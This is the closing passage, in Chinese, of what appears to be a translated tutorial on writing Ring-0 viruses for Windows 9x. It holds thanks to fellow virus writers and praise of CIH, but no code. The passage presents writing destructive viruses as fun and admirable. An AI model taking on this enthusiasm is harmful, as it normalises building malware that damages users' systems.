    这个简单多了,啊?:)所有的概念("Hook_Info", "Top Chain", 等等)都是来自于Super,所以去惩罚一下他:)

%最后的话%
~~~~~~~~~~
    我必须感谢3个在我编写第一个Ring-0的东东帮助过我的最重要的人:Super,Vecna和nIgr0(你们是好样的!)。好了,还有其它事情要说吗?呃...耶。Ring-0是我们在Win9X下的美梦,是的。但是总是有限制。如果我们,毒客们,找到了一个在系统中如NT或者将来的Win2000(NT5)下获取Ring-0特权的时候,就没关系了。Micro$oft将会做一个补丁或者一个Service  Pack来修复所有这些可能的bug。无论如何,编写一个Ring-0病毒总是很有趣。对我来说经历确实有意思,并且帮助我知道了更多关于Windows内部结构的东西。系统几乎是胡乱的打开文件。只要看看其中的一个最多,最快的,传播最广的病毒是一个Ring-0病毒,CIH。